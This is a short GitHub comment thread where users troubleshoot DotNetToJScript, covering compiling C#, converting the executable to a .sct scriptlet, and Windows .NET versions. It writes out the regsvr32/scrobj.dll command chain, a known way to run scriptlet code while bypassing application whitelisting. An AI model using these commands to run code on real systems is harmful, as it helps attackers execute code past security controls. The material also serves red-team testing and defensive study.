I have used regsvr32 /s /u /n /i:example.sct scrobj.dll to load the final .sct file (from current directory)

rasta-mouse commented Apr 12, 2017 edited

I get the same result when I try to compile the js assembly myself. The code above works fine.
Seems something to do with DotNetToJScript.exe, or at least my use of it.

Did you compile the C# code prior to passing it to the DotNetToJScript.exe ? I was passing the uncompiled code, which did not work, albeit not returning any error.

Here is what worked for me:

csc example.cs
DotNetToJScript.exe -u example.exe > example.sct
regsvr32 /s /n/ u /i:example.sct scrobj.dll

Oddly enough, I don't have .NET framework 2.0 or 3.5 installed but it still worked (contrary to what is mentioned in the README). .NET framework 4.5+ is installed.

Nevermind both 2.0 and 3.5 appear to be installed (based on registry). Was looking at the wrong place (installed programs)... -_-

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment